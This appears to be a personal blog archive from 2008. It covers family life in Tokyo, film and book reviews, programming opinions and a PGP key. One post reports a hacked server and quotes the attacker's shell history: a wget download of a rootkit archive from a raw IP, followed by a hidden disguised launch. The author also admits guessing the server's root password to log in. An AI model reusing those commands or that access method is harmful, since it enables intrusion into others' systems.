Java4K is a web site that showcases compact arcade games, all of them written in Java with a maximum (jar file) size of 4KB. My current favorite is jm00 - a boomshine clone.
Thu, 25 Dec 2008
For the first time since moving to Japan I am spending Christmas at home this year (the last time that came close was the January trip to Vienna in 2004). This is also Kai's first time to meet his great-grandmother, grand-uncle, and uncle (his grandparents and aunt have already visited him in Tokyo). He did not sleep much on the twelve-hour flight, but he did not cry the whole time either, so all in all that went well. He was very popular with the cabin crew and fellow passengers, and the flight was almost empty, so that we had plenty of room, too.
We'll be in Germany until January, 4th.
Are browser-based intranet applications on the way out ?
For the last three years, I have been writing intranet applications for use in corporate environments. An intranet application uses the same technologies (TCP/IP, HTTP) that are used to build web applications for public consumption on the Internet, but it is only accessible from within the company. I am now wondering if there is still much merit to this development model (as opposed to client-server software) when web applications stop being simple query and reporting screens, and pile on a richer set of functionality (and a hairier set of complexities).
Ease of deployment: One big advantage that is always attributed
to web-based applications is the ease with which they can be deployed, maintained
and upgraded. Since there is nothing to install on the client-side (you
only need a web browser), you just install a couple of web and database
servers in a central location. Contrast this to having to roll out a new
version of the client application to hundreds of workstations.
I believe that this contrast is not very stark anymore: You can install
local applications with a few clicks from the web browser, and applications
can also update themselves automatically over the network.
No data stored on the workstation: Because all data resides
on the central server, users become independent from individual workstations
(they can be productive from a co-worker's desk, from
their home PC, or from the hotel's business centre), and it is easier
for the company to protect the data, both in the sense of keeping
backups and in the sense of preventing unauthorised access (no more
lost laptops with customer records). There is nothing however
that prevents local applications to work in exactly the same way
by just having the program itself on the workstation and loading data
over the network. Client-server applications, in fact, have always worked
this way.
There are big advantages of having at least a subset of
the data locally available as a working copy, most notably the ability
to work offline and less time spent waiting for data to load. One of the
newer directions in web application development is browser-local storage,
to enable exactly this feature.
Rich Intranet Applications: Before the client-server architecture,
applications used to be accessed from dumb terminals, that were basically
just a monitor and a keyboard, with no local computing or storage capabilities.
The application itself would run on a big mainframe, which would have to handle everything
down to interpreting keystrokes and redrawing the screens. In a way,
traditional web-applications work like that, too: The web server creates
HTML to render a page, the browser sends every click on a link and every submitted form back
to the server, who in turn creates HTML for the next page.
To create a better user experience, so-called Rich Internet Applications
use the scripting capabilities of modern browsers (JavaScript or Flash)
to work more like client-server applications (with the client being
downloaded afresh every time), in that instead of refreshing the whole page
every time only the relevant pieces of data get transferred to and from the
server.
So now you can have something in your browser window that looks and feels
more like a client application. The first problem I have with going that way is that
browsers were not designed for such usage and old-school web applications are
already using ugly tricks to work around the inherent limitations of the platform.
JavaScript RIA are really pushing it, and you need to have a pretty smart crew
of hackers to make it all work. Otherwise it will be less usable than it was before.
The second problem is that it blurs the lines, and whereas it was previously
clear that some things cannot be done in a browser, everything seems up for grabs
now, including things that still cannot be reasonably done in a browser.
The best RIA (like GMail) are not trying to replicate desktop applications
exactly, but enhance the experience of something that still feels web-ish
.
There is a cultural gap between the Internet crowd and people who attach
Word files to emails (and print them), and there are still different tools
for different jobs.
When you end up promising people that they can do everything they can
in Word or Excel on the web now, you will be trying to fix formatting and printing
and layout issues forever.
Cross-platform:
Web applications can be accessed from Mac and Linux machines as well, and
they continue to work after a Windows update.
Again, for web applications done right,
this may be the case, but there are so many subtle and poorly documented
bugs and idiosyncrasies among browsers and browser versions that you
need a pretty smart crew of hackers to make it all work. Especially when
you go the RIA route. As a business software maker these technological
details are probably not what you should spend your manpower on.
Client applications can be reasonably cross-platform as well. For
business applications you may be fine with a Windows-only solution anyway,
which thanks to C# and .NET should be much less painful than in the old days of DLL hell.
Or you could use Java. Whatever development tools you use, writing client
applications gives you much more (complete?) control over how your application is going to
look and behave, a fact that should make any developer, tester, user manual author,
or product manager happy.
Another thing about cross-platform applications is that in order to
work equally well on many platforms they tend to ignore the more
advanced features that set each of those platforms apart. So for
a really extraordinary user experience you may need to focus on
one platform. This is the reasoning behind most Mac-only software.
On the other hand, when you are writing business software, the people
that make the buying decision are not usually the people using the
software, so you are probably not aiming for extraordinary user experience
anyway.
Cissy and Kai were supposed to come back from Shanghai today, but since I have to go on a business trip to Fukuoka for most of next week, we delayed this until next weekend. Here are two data points concerning their long absence.
I like pizza, but so far have very rarely ordered a delivery since coming to Japan, partly because I avoid telephones as much as possible, mostly because it is expensive. Last weekend I created an online account with Domino's, and can now order food without even touching the keyboard in about eight clicks of the mouse. Which I did. Three times this week. They keep sending me discount coupons by email. It is a vicious cycle.
Yesterday, Faiz came over to watch some DVD (by bike, nonetheless. The trip took him about an hour, considerably less than when I last tried that, for which I credit his expensive gear). He commented on the increased level of disarray in the usually shipshape apartment. And that was after I had cleaned up.
Shadow had done three years in prison. He was big enough and looked don't-fuck-with-me enough that his biggest problem was killing time. So he kept himself in shape, and taught himself coin tricks, and thought a lot about how much he loved his wife.
The best thing - in Shadow's opinion, perhaps the only good thing - about being in prison was a feeling of relief. The feeling that he'd plunged as low as he could plunge and he'd hit bottom. He didn't worry that the man was going to get him, because the man had got him. He was no longer scared of what tomorrow might bring, because yesterday had brought it.
After his release from prison, Shadow meets a strange man, who calls himself Mr. Wednesday, and whom he eventually agrees to work for. As it turns out, Wednesday is not just a strange man, but an ancient European god, who has been carried over to America by the Vikings. Like all immigrant Gods, he has found America to be a bad place: After a generation or two, the number of faithful dwindles and the immortals' power and glory rapidly fades away. Wednesday is currently on a crusade to round up other ancient deities and lead them into a war against the modern American idols, such as the Internet, Mass Media, the Car, or the Credit Card.
The book alternates between three modes: We get to follow Shadow in
how he deals with a chain of supernatural events while travelling across
the United States, we get to follow him behind the scenes
in a
series of dream sequences (that part did not really work for me), and
we get to see a number of vignettes where Gods struggle with their place in modern life. Gaiman obviously did a lot of research into mythological characters, but he also shows a lot of restraint in using these references
in that he does not hit you over the head with explicit explanations or introductions.
Instead, the reader is encouraged to gather the background information by himself.
Production on the Vietnam War epic Tropic Thunder
(the movie in the movie) seems doomed:
Costs are sky-rocketing, the schedule is slipping, and the
director is unable to control his three prima-donna stars (the ageing action star,
the Australian method actor, and the flatulence comedian). When the
studio threatens to pull the plug, the director, the author, and the special effects
guy come up with the plan drop the actors into the middle of the jungle, and let real
fear inspire their acting. Unfortunately, they stumble into the territory of
real heroin smugglers, and mistake them for scripted Vietcong.
Tropic Thunder
(the movie about the movie in the movie) is
written, produced, directed, and starred by Ben Stiller. As a big Ben Stiller fan,
I have to agree that his recent offerings have been entertaining but not
very memorable. With Tropic Thunder
, however, he is back on the top
of his game. I am also an aficionado of movies about movies, and it does not
do shame to that genre, either.
Wonderful cast, too, starting with the actors
(Stiller, Robert Downey Jr., Jack Black,
and the excellent Brandon T. Jackson and Jay Baruchel), but also the director
(Steve Coogan),
the agent
(Matthew McConaughey with weird hair)
the Vietnam vet author
(Nick Nolte), and a delightfully deformed and foul-mouthed Tom Cruise.
8 points
Continuing our inspection of Old British Guys On Stage, Faiz and me went to see (the remaining members of) The Who tonight. While I was more or less at home with The Police, I really did not know much at all about The Who. In fact, the only song I could name off the top of my head turned out to be Pink Floyd's. Luckily, I did recognise about half of the songs that they played.
The concert took place at the venerable Budokan, which was originally built as a martial arts venue for the Olympic Games in 1964. The first rock band to perform there were the Beatles two years later (another perfect fit for the Old Guys Series). While Tokyo Dome has nicer (read: newer) facilities, the Budokan has the advantage of being much smaller (14000 seats as opposed to 55000), so that you can actually see the band.
The X-Files: I Want to Believe
The are basically two very different types of X-Files episodes,
the mythology
shows, that make up the main story arc about
the government conspiracy to hide an alien invasion, and the
monster-of-the-week
shows that stand on their own and feature
a wide variety of paranormal situations. The monster episodes
are also quite often very funny.
The first X-Files movie falls into the first category, and because of the fact that it was meant to fit in between seasons five and six, it did not really work as a movie.
I Want To Believe
shows Mulder and Scully
several years after the X-Files division has been disbanded.
Mulder has been disgraced and lives in isolation,
Scully is a physician at a Catholic hospital.
When a defrocked priest claims to have visions that could
help save the live of a missing FBI agent, the Bureau
calls them back in.
This one is definitely a monster show: There are no aliens, and the mythology is not even mentioned (which would have been difficult after the apparent dead end at which the final episode arrived, what with almost everyone dead and the destruction of humanity imminent). Most importantly, the film stands on its own: You do not need to know anything about the X-Files, no other characters from the series other than Mulder and Scully (and a bit of Skinner) appear, and the plot is in its entirety contained in the film's 104 minutes, including a real conclusion, something that many Hollywood movies aiming for a sequel intentionally obmit. On the other hand, there is not too much fodder for the X-Philes, although the depiction of the relationship between Mulder and Scully is nicely done.
It is not a funny one, though, quite the opposite. There are also no computer-generated monsters, massive special effects, larger-than-life supervillains, or a great many action sequences. It is a serious thriller, with just a sprinkle of the paranormal.
7 points
I have been known to put forth a thousand and one reasons to love Perl, and an equal number of things that I want to see fixed in Java. Well, for the last three years I have professionally been programming in Java exclusively, and even more telling, I write Java code in my spare time, too. So I suppose it is time to come clean and update the official party line.
- I still maintain that a team of skilled developers can be more productive using dynamic languages such as Perl (or Python, or Ruby), and that they will enjoy it more, too.
- I also concede that for a development environment that consists of bigger teams with significant member turnover and programmers of varying skill levels, the restrictions on style and the relative verbosity that Java enforces can be very helpful to ensure a minimum code quality.
- While Java development requires a lot of tooling that a dynamic programmer could do without, once you get used to the tools, which are now very mature and numerous, they can do amazing things for you, most of which depend on deriving useful information from the Java code, something that is very hard to do in a dynamic language.
- Much of the boilerplate traditionally necessary in Java has been eliminated with the release of Java 5 and EJB 3. Most of what is left can be automatically created by tools.
- Regardless of the Java language, the Java Virtual Machine, especially Sun's Hotspot VM, is a remarkable piece of technology (I hear that Microsoft's Common Language Runtime deserves an equal amount of respect). It is not to Perl's advantage that both Python and Ruby, as well as a couple of hot new languages like Scala, can run on top of the JVM, whereas Perl does not.
- I like Sun Microsystems themselves, especially since they have started embracing the open source model in earnest.
- I still don't like PHP.
A Programming Note concerning Thilo's Tech Radio: To celebrate the occasion let us all listen to an excellent episode of the Java Posse. The recording quality is a bit poor, but the content is excellent.
In order to include programmes from outside the IT Conversations Network, I had to move the RSS file to my own server, so please re-subscribe to the new feed (put together using the very promising Spokenword site, currently in public alpha).
Mr. Fletcher (Danny Glover) runs a video rental store
in Passaic, New Jersey. Business is slow (probably because
he still only offers VHS) and is unlikely to be able
to pay for building repairs to avoid demolition, so Fletcher
decides to take a few days off to spy on a successful DVD
store and learn their business secrets. He leaves his store
in the hands of his adopted son Mike (Mos Def) and his paranoid
friend Jerry (Jack Black). Unfortunately, a freak accident
at the local power plant has left Jerry magnetized and his mere
presence erases all the tapes. The only solution is for Mike
and Jerry to quickly reshoot the movies themselves,
starting with Ghostbusters and Rush Hour 2. Their sweded
films turn out to be a big success.
8 points
On the train to work today (yes, I know that it is Sunday, let us not talk about it) I was standing next to a lady who was proof-reading a recommendation letter for Tomoko , a customer support representative (name changed to protect the innocent). I know about that because I was reading along with her, a reprehensible habit that I often exercise during commutes.
I was immediately shocked by the enormity of the letter. My image of a recommendation letter has always been something short, maybe two or three paragraphs with some padding. This thing, however, was four full pages in a reasonable small font with meager margins and little line spacing.
My predicament came in the form of an unusually unfortunate spelling mistake in a sentence that, judging by the progress of the red marker pen across the page, the proof-reader had already accepted:
Tomoko was able to handle many males in a short period.
Now, what was I suppose to do? One wants to help, of course, but that would entail admission to prior inappropriate behaviour.
I alighted hoping that Tomoko's career will not suffer.
Off to Shangkai (and back again)
I have just returned from an extended weekend trip to Shanghai to visit Cissy and Kai.
On the flight there, for the first time ever, I exchanged words
with my fellow passengers: I was sitting between
a Finnish former Ryanair flight attendant
(then based in the euphemistically named Frankfurt
-Hahn airport)
, and
an Israeli manufacturing equipment salesman
(who travelled with a box of cutting instruments).
Both of them knew a quite a bit about airplanes, and about operating
the emergency exit, which is what we were seated directly in front of.
The Israeli, a frequent flyer, even had had to go out through it and across the
wing once. Fortunately nothing of the sort happened, even though it was a bumpy ride,
to the extent that food service was delayed, but not to the extent of it actually having to be
cancelled.
On the flight back, I finally got a chance to ride the Shanghai Transrapid,
pride of German engineering and too expensive for Germany itself to build,
from Shanghai to Pudong International Airport. This magnetic levitation train
takes just ten minutes for the thirty kilometres. Wikipedia claims the operating
speed to be 430 kmh, but it was only
going 300 today.
Northwest Airlines, which had over the weekend agreed to merge with Delta and changed their on-board entertainment program accordingly, decided to place me at the emergency exits again, which is fine as it provides for extra leg room and you can look at the flight attendants also sitting there. No conversations this time, except to apologise for the back of my seat refusing to stay upright and instead gradually reclining at the expense of the people in the next row , but I got a good book from the airport bookstore (Neil Gaiman: American Gods, more on that later).
About a year ago, Japan started fingerprinting and photographing all foreigners on entrance, and today was their first chance to get at my biometrics. I, of course, oppose the procedure on principal grounds, but there was nothing to be done about it (short of subjecting to deportation). Maybe a Christmas donation to Amnesty International. Interestingly enough, foreign residents in Japan used to be fingerprinted as part of their alien registration until 2000, when the practice was dropped because of a public outcry over invasion of privacy. This time around, all visitors (not only residents) are affected, the data is stored for 70 years and will be shared upon request with other agencies in Japan and abroad. I suppose this is only a stop-gap that was easy to implement because foreigners do not have much of a lobby, and the idea is to extend to program to eventually include Japanese citizens as well. Did I mention that German passports now include finger-prints?
First movie in a long time!
Tony Stark (Robert Downey, Jr) is a genius inventor, both incredibly wealthy and totally irresponsible, who has made his fortune creating and selling military weapons. During a kidnapping he suffers a severe heart injury that forces him to attach a power generator to his chest. His kidnappers try to make him build a missile for them, but instead he crafts a metal combat suit and turns into Iron Man.
Pretty much the only thing going for this comic book adaptation is the banter between Stark and his personal assistant (Gwyneth Paltrow), and with his buddy in the military (Terrence Howard). The plot is not all that inspired, and it does of course set up sequels (and tie-ins to other Marvel characters), and the action sequences are mostly forgettable (I did like the scene with the two fighter planes, though).
I had heard that the extra scene after the end credits gives a whole new angle to
the movie (and it was even announced in the Japanese subtitles so that everyone
stayed in their seats), but it was nowhere near an important last shot (think Prestige
),
just a teaser for the likely sequel.
5 points
Kai (who has two teeth now and can turn around from belly-up to belly-down by himself) embarks on his first big trip tomorrow: He and Cissy are going to Shanghai for six weeks. This obviously involves an airplane, and we hope that he does not object to a three-hour flight. The sound of a busy street with lots of cars passing by seems to soothe him, so maybe he'll actually like it. The real challenge comes in December, when all three of us are going to fly to Germany for Christmas and New Year.
Bananas have always been the most affordable fruit in Japan and become a cornerstone of my diet. Unfortunately, the so-called Morning Banana Diet (eat only bananas and drink water at room temperature for breakfast) has recently become extremely popular, and banana sales have spiked 70% compared to last year. Retail prices have soared as well, and quiet often bananas even sell out during the day.
Last year the same thing happened with natto, and after scientists debunked the magic weight loss properties everything went back to normal.
Erasmus (the book is written in first person) is a young fraa at the Decenarian math of Saunt Edhar, whose task (in addition to studying alongside his fellow fraas and suurs, of course), includes winding the big clock in the Mynster every day during the aut of Provener. All of the avout are in preparation for the annual Apert, when the doors of Saunt Edhar will open to the Saecular world for ten days. This year will be a Decenarian Apert, and Fraa Erasmus eagerly looks forward to reconnect with his family, his first chance in the decade since he was collected.
While Stephenson starts out like his take on Harry Potter, you later get pieces more in the spirit of Jack London (a trek across the North Pole), Larry Niven (orbital adventures) and Dan Simmons (philosophising about other universes). The book sports a detailed glossary, a chronology of the four millennia leading up the story's opening, and a supplement of three mathematical exercises. An album of music inspired by the book is available on CD separately.
Me and Jutta wearing other people's glasses
Part Fourteen: The 3D glasses at the Magic Lamp Theater on the Arabian Coast in Tokyo DisneySea.
Tokyo has not only one, but two Disney theme parks, Tokyo Disneyland and Tokyo DisneySea, and even though they attract a combined 26 millions of visitors a year and are just 11 km away from our apartment (they sit right next to each other, complemented by a couple of Disney resort hotels, shopping malls, cinemas, and venues for musical performances), I have not been there yet. Well, this week Jutta wanted to go, and so I accompanied her to DisneySea (because it has faster and scarier rides). She even made me ride a few of these so-called attractions that I would otherwise have stayed away from. The biggest concern I always have with theme parks are the potentially very long lines. But this was not an issue today: Because the park was not very crowded, probably because there was supposed to be rain, which did not happen, it was sunny all day long, most lines were just ten minutes or less long. You could get into even the top attraction in less than half an hour, or much less if you got a Fast Ticket in advance (assigns you a time slot in which you have to show up).
Three months of paternity leave are up, and I have to go back to office this week. The timing is a little unfortunate, as my sister chose just the same week to visit us. At least it is a short week, because Monday is a holiday (Respect for the Aged Day).
Cissy pointed out today that the English I use when talking to native speakers is much better, compared to when I talk to her. I believe she has a point there. I seem to be an accomodating speaker. The first time I really noticed that was when I had a Spanish room-mate at university, and instead of correcting her somewhat broken German I started using its peculiar grammar myself. And now my English has become distinctly Japanized, as far as sentence structure, pronunciation and choice of vocabulary are concerned (a change that I hope is reversible).
The big problem with all this is that I am responsible for teaching proper German to my son. There are no other native (or even non-native) speakers around to augment or balance what he hears. For the moment, however, we communicate in the pattern just described: Kai makes happy grunting and giggling sounds, and I echo them.
Quick software tip: MPEG Streamclip.
Every picture viewer these days can also rotate the image by 90 degrees, but the same feature is much less available for video, so that I had to do quite a Google dance to find a way to fix a clip I shot with my mobile phone turned sideways. iPhoto cannot do it, Preview (which is surprisingly competent for photo editing ) does not do video, VLC does not do it, and I do not know how to do anything in iMovie. Quicktime Pro can do it, but that is not free. MPEG Streamclip is free, runs on Macs and Windows, and has a great number of features to cut and convert videos (if you know where to find them in the rather clunky UI).
One of the many tech podcasts I am subscribed and occasionally listen to are the Conversations Network's IT Conversations, which is a rather high-volume feed comprised mostly of interviews with and conference presentations by IT professionals. Once in a while a real gem comes along that I want to recommend to people. At the same time, I do not feel that I have any useful comments to add and do not want to post just the link and paste the description here, so instead I will throw them into an RSS feed for your listening pleasure. You can expect this to be low-volume (maybe an episode a month), but (I hope) fairly interesting. There are two entries now, Kent Beck with anecdotes about Design Patterns, Test-Driven and Extreme Programming, and Guy Kawasaki about the Art of Innovation.
If you are stupid, write enterprise software
Quote of the day, by Paul Graham.
If you don't think you're smart enough to start a startup doing something technically difficult, just write enterprise software. Enterprise software companies aren't technology companies, they're sales companies, and sales depends mostly on effort.
After three months here, Cissy's parents went back home to Shanghai last week. During their stay they have taken over running the household, doing all the cooking, dish-washing, shopping, laundry, cleaning and also helped to keep Kai happy during the day (and especially from six to ten in the morning so that we could get some extra hours of sleep). As a result, while Cissy was still reasonably busy, the first two months of my paternity leave have been almost a holiday.
From this week on, the daily chores fall back to us, and after another month my leave is up and I have to return to work, so Cissy will have to cope by herself from Monday to Friday.
Alexandre Dumas: The Count of Monte Cristo
France, 1815: Young sailor Edmond Dantes returns home to Marseille, about to marry his fiancee Mercedes and be promoted to ship's captain. Unfortunately, three jealous friends conspire to get him arrested as a Bonapartist and he becomes a secret political prisoner instead. On the prison island he begins a friendship with another inmate, an Italian priest and scholar, who over the course of the following years provides Edmond with a comprehensive education and also information about a great treasure hidden on the island of Monte Cristo.
Edmond finally escapes and uses his new-found fabulous fortunes, combined with endless patience and merciless determination, as well as thorough knowledge of the world, its peoples, and its languages, to put into motion an elaborate plan for revenge. Using a number of fake identities, most notably as the Count of Monte Cristo, he seeks out the trust of his unsuspecting enemies and arranges their downfall.
The novel is available in its entirety from Project Gutenberg, and thanks to Youtube, many television and movie adaptations are readily viewable online, too (at least in parts), so that it is easy to take a look and see what got translated to the screen and how. From what I have seen I can recommend the French 1998 miniseries with Gerard Depardieu and Ornella Muti (which seems to introduce an additional major character), and the Japanese anime Gankutsuou (which presents the tale as a space opera)
The crime lords of Gotham City are having a tough time against
the combined forces of Batman (and Batman wannabes), the police squad
led by Lieutenant Gordon and the new District Attorney Harvey Dent.
So they turn to the Joker, an anarchist super-villain, who seems
competent and crazy enough to take on Batman, but who is also
mostly interested in wreaking as much havoc as possible in the process.
To quote Butler Alfred, some men just want to see the world burn
.
Of all the recent superhero movies, Nolan's Batman is definitely
the darkest. Possibly the best one, too, and if they want to give Heath Ledger
his posthumous Oscar for the Joker, I am fine with that, but the film is not as great as
its current IMDb ranking (which hopefully will average out over time)
would make you think. I'd put it ahead of Batman Begins
, but
behind Memento
and Prestige
.
8 points
Last week, Google completed canvassing Tokyo so that you can now see the entrance hall of my house. Many people (and not only those being captured entering love hotels or urinating in the street) are not at all comfortable with this level of privacy invasion. Google may be taking things too far and risk their favourable reputation of doing no evil.
If someone has recommendations for a free charting application that is as easy to use as Google Docs Spreadsheets but has more options how to scale and stack the data, please let me know.
A public service announcement to the German language audience
and another fine example how talented content creators can use the Internet
to reach their audiences without the help of big media
:
Wolfgang Back and Wolfgang Rudolph, the two presenters of WDR Computerclub,
the first and longest-running German TV show about computers,
which was cancelled in February 2003, have in July 2006 revived the format on the
Internet (called Computer:club 2),
first as an audio podcast, and since July 2007 also with
professionally produced video episodes, that look just like their
former TV show.
With some many web sites out there that let you create accounts, you have to remember a lot of passwords these days. The easiest approach is to just use the same (or a small number of) password for all sites, which is of course a real security threat: If your password is leaked on a single site, all your accounts are compromised. The safest approach are unique and completely random passwords for all accounts. This however requires that you write down the passwords somewhere or have the web browser remember them, but then you will not be able to log in if you forgot to bring your memo or use a different computer.
Enter SuperGenPass, a free bookmarklet password generator. It is a small JavaScript program that uses a secure hash function (MD5) to derive site-specific passwords from a master password. You can then use these passwords (which look very random and do not betray the master password) for your various accounts. All computations are done in your browser, your master password is not sent or stored anywhere, and since the computation is reproducible (same master password and same site always yields the same password), there is no need to store the generated passwords either. SuperGenPass is installed just by adding a bookmark, and it integrates nicely with the sites' login pages, filling out the password boxes automatically (and if that does not work, you can still use copy-paste).
In effect, you get the convenience of using a single password for all sites, with almost the security of using random passwords. Of course, if your master password should get out (and it could theoretically be determined by a brute-force attack), all the derived passwords are also cracked. So for really important accounts, you should still use something else (or at least, a different master password).
Stanley Yelnats, whose name reads the same backwards and forwards, is cursed by his family's history of bad luck, which started when his no-good-dirty-rotten-pig-stealing-great-great-grandfather did not actually steal a pig, but broke a promise to a one-legged Gypsy. And so it does not come as too big a surprise when he is convicted of a crime he did not commit and sent to a juvenile detention centre in the desert, where he has to dig a hole every day, five feet deep and five feet across. This is supposed to be just a character building exercise, but the Warden takes a strange interest in what the boys dig up.
I have been rather lucky at the dentist so far: Even though I have always been eating a lot of sweets (which did not make me fat, either) and am not very dedicated or proficient with the tooth brush, I was spared cavities until my early twenties. I believe I can thank the daily fluoride tablets that I had as a child for that. Before coming to Japan I had minor cavities on three adjacent teeth on the lower right, the kind that the dentist would find during the annual inspection and immediately take care of. And three years ago there was a painful wisdom tooth that the dentist decided to extract rather than try to repair.
But now I am in the middle of root canal treatment. Two weeks ago at the regular check-up the dentist made the shocking discovery of advanced dental caries on the second upper left molar. He was surprised that I was not in pain already. I was surprised that the problem was not detected at the last check half a year ago. The damage is supposedly also clearly visible on the x-ray that was taken, although I have to take the dentist's word for that, I cannot make sense of it at all.
At least in Japan, a root canal treatment takes five or six sessions, with about a week in between. I just had the first one, in which the tooth was drilled open to remove the dental pulp, filled up with some medicine/disinfectant/anti-biotic and temporarily closed. The procedure was done anaesthetised and completely painless (thanks!). I am assuming that the scariest part of the operation is behind me now. The drugs have worn off, I had meals, and the tooth feels only a little uncomfortable. The next three sessions will be opening the tooth again to renew the medicine filling and check on its effectiveness (for which anaesthetics are not necessary). After that the tooth will be filled with (according to Wikipedia) gutta-percha, a natural latex, and capped with a crown, which apparently is rather critical/complex/costly procedure in itself.
Stephen King: Everything's Eventual
What I did was take all the spades out of a deck of cards plus a joker. Ace to King = 1-13. Joker = 14. I shuffled the cards and dealt them. The order in which they came out of the deck became the order of the stories, based on their position in the list my publisher sent me. And it actually created a very nice balance between the literary stories and the all-out screamers. I also added an explanatory note before or after each story, depending on which seemed the more fitting position. Next collection: selected by Tarot.
A collection of fourteen short stories (ranging from about twenty to about eighty pages) about undergoing an autopsy while still alive, meeting The Man in the Black Suit, a travelling salesman contemplating suicide, gangsters in the Thirties, escape from a torture chamber, vampires in the West, occult symbols that can kill, a theory of pets, a scary painting that keeps changing, a crazy restaurant waiter and his big knife, the feeling you can only say what it is in French, a haunted hotel room, hitchhiking with the undead, and a lucky quarter.
I think your server has been hacked !!!
Dear server administrators, I think your server (72.249.xx.xx) has been hacked and is being used for malicious purposes right now. During a routine check of my own server (based in Germany) I found that it was being attacked (brute-force password guessing) from 72.249.xx.xx, which is your server. Trying to find out what to do about this, I tried to log in (via ssh) to your server, which was trivially possible (the root password is very, very simple, I guessed it on my first attempt). Please change your password ASAP. While logged in to your server, I could see that a process was probing other servers on the Internet to find more weak passwords. I also saw another user logged in (as root) from 79.116.xx.xx, which may or may not be the attacker. Since I have no business nosing around on your server, I logged out again without doing anything. Best regards, Thilo Planz
I wish my UNIX-fu was stronger, I did not really know what to
do about this, which is probably a good thing, since I really have
no business being on their server. But still, I felt like killing this
guy's processes and blocking his IP. Although, I suppose this whole
thing is an automated process, and he
would not even notice me
slapping his fingers.
What I could see is that he was spawning lots of ssh processes, apparently searching whole IP ranges for easy root passwords (which is how he must have gotten to this American high school's server).
The command history had this interesting sequence, which downloads a root kit and then starts a hidden web server to propagate itself or maybe remotely control the machine.
252 cd /var/tmp 253 ls -a 254 wget http://63.249.225.72/icons/stealth.tgz 255 tar zxvf stealth.tgz 256 rm -rf stealth.tgz 257 mv l .ls 258 cd .ls 259 ./h -s "/usr/sbin/sshd" ./httpd
Cory Doctorow: Someone Comes to Town, Someone Leaves Town
Alan has just sold his shop and purchased a house that he plans to write his story in. He spends the rest of his time helping Kurt with his project to set up a free neighbourhood Wi-Fi network. Adam's peace is destroyed by visits from his younger brothers Eric, Fred, and George, who are a set of Russian nesting dolls (Alvin comes closest to human in his family: his father is a mountain, his mother a washing machine, the other brothers Ben, Charlie, and Dean are a psychic, an island and undead). As children, they have jointly murdered Daniel, who was intolerable in the first place and is now really angry, apparently planning to revenge himself by killing his brothers.
Sometimes billed as science-fiction, I would rather call
Someone
a fantasy or a horror novel. I really liked
the part about Albert's family (and hope to see a future short
story based in that world). The real-world
subplot
about the Wi-Fi network felt out of place, however. I see the
need for showing how he interacts with humans, but it just felt
like a lecture. It would have been more interesting to
for example follow Aaron's house remodelling efforts, or maybe
have him open another shop.
download public key-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I'd like to experiment with signed and encrypted email. So if anyone is using OpenPGP, please let me know your public keys. Mine is: mQGiBEhtwQARBACWVpAxTId7ZoUMoLkbjKGMqAszgEvmEyJO2H6gxhmhDkFVYgAJ iH/PPZxS8fE/n5KOZBjgVGdW+BMQQknjMWMjLSvIf1/LNxE9pYeoBMVfZTXHycXk +wd3JxFEqlDbW8WZMQQiLAkxpE7B2gtmyQhoCT9w/ZIkmZYjDnYL+TJpPwCgxLkj 4LXaEXFnNn3Z7PpJ7I7Uk1MEAJMuZbPpf/YT0rx9enEHmwrTs9QV5+Qif2NR44oe p0ZlJXBcShY1TX3yVDwVS9wkpIGupzsNToJd5zw4U7u4rI/vPCs6F3n6wVbuXXfC Jv/hODPxSHMVTp/Iy3EVn3Yrkmp7IordwKeTPEbG98z7erg4bq6Ox36lgILGfTST ywyfA/0b8ZUQ5jyZ8XdEmCt5ntpgjjMqJT+bYCot/iaJoI5Io4cyURqe062r9PWY jXqn2LTqTOPStp6CaV0zPgRE8cHe3LDuR9loqxme/WYIDnWsV0yLt80SUL5j0qh+ pmOvb+Z0TiWC+N3Dx4i0ywxjvhYCelf57vxy5lmb6+zP5AQRgrQfVGhpbG8gUGxh bnogPHRoaWxvcGxhbnpAd2ViLmRlPohmBBMRAgAmBQJIbcEAAhsDBQkDwmcABgsJ CAcDAgQVAggDBBYCAwECHgECF4AACgkQ2OZWDeB+PHXRnQCfdy1WNeGNRIc+ztW6 //5iX3hO9+gAnjil2YdGi20TtrbN0WE4O2StG+zbuQINBEhtwQAQCADzbODjkvch 9Z0Ts06B38OmhidDOKePkti3SxOK620KWF76fgeSWhZjyxdcgIcUXlhOghx7KhAR ORbGybbrYxSthFSY7osu7RuEc0SrWNp99XswdcQYfW2nMtQ1aXfA3/PqE2kqgFvd 566eKxAmydbUTAes8CvbavEFejMfeix9bEeG/Pnn55oKemHn915VqBpCa/FWZh1+ uLlzTPU+5Igdrrvydr7u0ZlWT6GvwHP8jCA/wfG5+WrUAY8V6QRLwDiSWaJ4u57s LdU6yGtsvY/VN08v/VCMsua4TYNquHWYpIDHqx9B4i8lI7BHDzmg5qzNN5TZjee1 dCzSmioyYWVbAAMGCAC95phNlsE8+rJpRpD9N1S2s9X9PpGjaZa1AWbGHTQGE/xa FveeWrxjaKRBuVa5mmSYDjdu++vBAQInCKtwKV3KK6343GhV4Bh6yCfpH/k4v6ts W+fArL0EXukOklimrHrP+VFvXKU8CPUzdtAtVt/+5dPbJ0CAQXAUkMG26ytF28Nm dY8AXKbk45F7Eu74QeCjiBPA0B3YODEB5kQi0g0SW4mkpFrlU02p2z1NAKPx9WkP Rozp+bAFq6jF5YYOrMRYU/eSc0ABZqRydoufeD8JSvU5CNYW9xE2RhwnUhXPiuL4 4Qp6v73ePmI3nkq2nVRfBym77QQ6GB1Dfsetc20JiE8EGBECAA8FAkhtwQACGwwF CQPCZwAACgkQ2OZWDeB+PHWg8wCfb9ppOAIsCwe5zcKK2nl7P6H5v+8AoIMP74NP wwFXSu3SGVRLUnUtq37m =r7dz Thanks, Thilo -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) iEYEARECAAYFAkhtxuwACgkQ2OZWDeB+PHWrmgCcCDoWQN5PsSESt3roIV7lSQzi D9YAn2s9rLw7q1TWjIFejdFL71KZsZ70 =O8Vg -----END PGP SIGNATURE-----
Increased Security Is Being Implemented
For years now, the Tokyo trains and subway stations have been advertising that the police are now on high alert, that increased security is being implemented and that any suspicious persons, objects or activities are to be reported immediately. Thanks to the upcoming G8 summit in Japan, they are currently putting some extra effort into it, such as shutting down all coin lockers in subway stations.
H. P. Lovecraft: The Call of Cthulhu
